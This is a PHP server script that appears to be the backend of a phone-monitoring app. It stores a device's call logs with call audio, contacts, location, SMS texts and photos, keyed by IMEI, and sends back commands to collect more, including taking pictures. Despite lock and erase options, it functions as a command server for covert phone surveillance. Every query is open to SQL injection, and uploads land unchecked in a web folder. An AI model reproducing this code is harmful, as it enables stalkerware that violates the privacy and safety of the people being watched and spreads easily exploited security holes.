<?php

	function geo2address($lat,$long) {
		$url = "http://maps.googleapis.com/maps/api/geocode/json?latlng=$lat,$long&sensor=false";
		$curlData=file_get_contents($url);
		$address = json_decode($curlData);
		if ($address->status!="ZERO_RESULTS")
		{
			$a=$address->results[0];
			return $a->formatted_address;
		}
		return "unknow location";
	}

	include_once('../dbconnect.php'); 
	
	$imei = $_GET['imei'];
	$type = $_GET['type'];
	if (empty($imei))
		die('Error : Unknow IMEI');

	$uploads_dir = '../upload/';
	$uploads_dir2 = 'upload/';
	//save data
	if ($type == 'cl')
	{
		if (!empty($_FILES['datafile']))
			$uploadname = $_FILES['datafile']['tmp_name'];
		else
			$uploadname = '';
		
		$direction = $_POST['direction'];
		$start_time = $_POST['start_time'];
		$end_time = $_POST['end_time'];
		$phone_no = $_POST['phone_no'];
		if (empty($uploadname))
		{
			$audio_log_path = '';
		} else
		{
			$safe_filename = urlencode(trim($_FILES['datafile']['name'])); 

			$audio_log_path = $uploads_dir.$safe_filename;
			move_uploaded_file($uploadname, $audio_log_path);
			$audio_log_path = $uploads_dir2.$safe_filename;
		}
		
		//file upload save
		$sql_query = "INSERT INTO tb_calllog(imei, direction, start_time, end_time, phone_no, audio_log_path) VALUES ('"
			.$imei."', '".$direction."', '".$start_time."', '".$end_time."', '".$phone_no."', '".$audio_log_path."')";
		
		
		$result = mysql_query($sql_query)  or die("Error : ".mysql_error());
	
	} else if ($type == 'ct')
	{
		$add_time = $_POST['add_time'];
		$name = $_POST['name'];
		$phone_no = $_POST['phone_no'];
		$sql_query = "INSERT INTO tb_contact(imei, name, phone_no, access_time) VALUES ('"
			.$imei."', '".$name."', '".$phone_no."', '".$add_time."')";
		
		$result = mysql_query($sql_query) or die("Error : ".mysql_error());
	} else if ($type == 'lo')
	{
		$update_time = $_POST['update_time'];
		$accuracy = $_POST['accuracy'];
		$bearing = $_POST['bearing'];
		$speed = $_POST['speed'];
		$altitude = $_POST['altitude'];
		$latitude = $_POST['latitude'];
		$longitude = $_POST['longitude'];

		$address = geo2address($latitude, $longitude);
		$isgps = $_POST['isgps'];

		$sql_query = "INSERT INTO tb_location(imei, update_time, accuracy, bearing, speed, altitude, latitude, longitude, address, isgps) VALUES ('"
			.$imei."', '".$update_time."', '".$accuracy."', '".$bearing."', '".$speed."', '".$altitude."', '".$latitude."', '".$longitude."', '".$address."', '".$isgps."')";
		
		$result = mysql_query($sql_query)  or die("Error : ".mysql_error());
	} else if ($type == 'sm')
	{
		$direction = $_POST['direction'];
		$timestamp = $_POST['timestamp'];
		$address = $_POST['address'];
		$protocol = $_POST['protocol'];
		$body = $_POST['body'];

		$sql_query = "INSERT INTO tb_sms(imei, direction, tr_time, address, protocol, body) VALUES ('"
			.$imei."', '".$direction."', '".$timestamp."', '".$address."', '".$protocol."', '".$body."')";

		$result = mysql_query($sql_query)  or die("Error : ".mysql_error());

	} else if ($type == 'pi') 
	{
		if (!empty($_FILES['datafile']))
			$uploadname = $_FILES['datafile']['tmp_name'];
		else
			$uploadname = '';

		$add_time = $_POST['add_time'];
		if (empty($uploadname))
		{
			$path='';
		} else
		{
			$safe_filename = urlencode(trim($_FILES['datafile']['name'])); 

			$path = $uploads_dir.$safe_filename;
			move_uploaded_file($uploadname, $path);
			$path = $uploads_dir2.$safe_filename;
		}
		
		$sql_query = "INSERT INTO tb_pics(imei, access_time, file_path) VALUES ('"
			.$imei."', '".$add_time."', '".$path."')";
		
		$result = mysql_query($sql_query)  or die("Error : ".mysql_error());
	} else if ($type == 'opt') 
	{
		$is_locate = $_POST['location'];
		$is_lock = $_POST['lock'];
		$is_erase = $_POST['erase'];
		$sql_query = "DELETE FROM tb_option WHERE imei='".$imei."'";
		mysql_query($sql_query)   or die("Error : ".mysql_error());
		$sql_query = "INSERT INTO tb_option(imei, is_location, is_lock, is_erase) VALUES ('"
			.$imei."', '".$is_locate."', '".$is_lock."', '".$is_erase."')";
		$result = mysql_query($sql_query)   or die("Error : ".mysql_error());

		$sql_query = "DELETE FROM tb_command WHERE imei='".$imei."'";
		mysql_query($sql_query)   or die("Error : ".mysql_error());
		
		$sql_query = "INSERT INTO tb_command(imei, is_calllog, is_contact, is_pics, is_sms, is_location, rv_flags) VALUES ('"
			.$imei."', '1', '1', '1', '1', '1', '1')";
		$result = mysql_query($sql_query)   or die("Error : ".mysql_error());

	} else if ($type == 'cmdok')
	{
		$result = mysql_query("UPDATE tb_command SET rv_flags='1', take_pics='0' WHERE imei='".$imei."'");
	} else {
		$result = true;
	}

	mysql_query("UPDATE tb_option SET  change_time=CURRENT_TIMESTAMP()  WHERE imei='".$imei."'");

	$response = array();
	if ($result)
		$response['status'] = 'OK';
	else
		$response['status'] = 'KO';
	
	//command
	$sql_query = "SELECT * FROM  tb_command WHERE imei='".$imei."' AND rv_flags='0'";
	$command_res = mysql_query($sql_query) or die("Error : ".mysql_error());
	if ($command = mysql_fetch_assoc($command_res))
	{
		$response['command'] = 'TRUE';
		$response['cl'] = ($command['is_calllog'] == '0' ? '0':'1');
		$response['ct'] = ($command['is_contact'] == '0' ? '0':'1');
		$response['lo'] = ($command['is_location'] == '0' ? '0':'1');
		$response['sm'] = ($command['is_sms'] == '0' ? '0':'1');
		$response['pi'] = ($command['is_pics'] == '0' ? '0':'1');
		$response['tp'] = ($command['take_pics'] == '0' ? '0':'1');
	} else 
	{
		$response['command'] = 'FALSE';
	}


	echo json_encode($response);
?>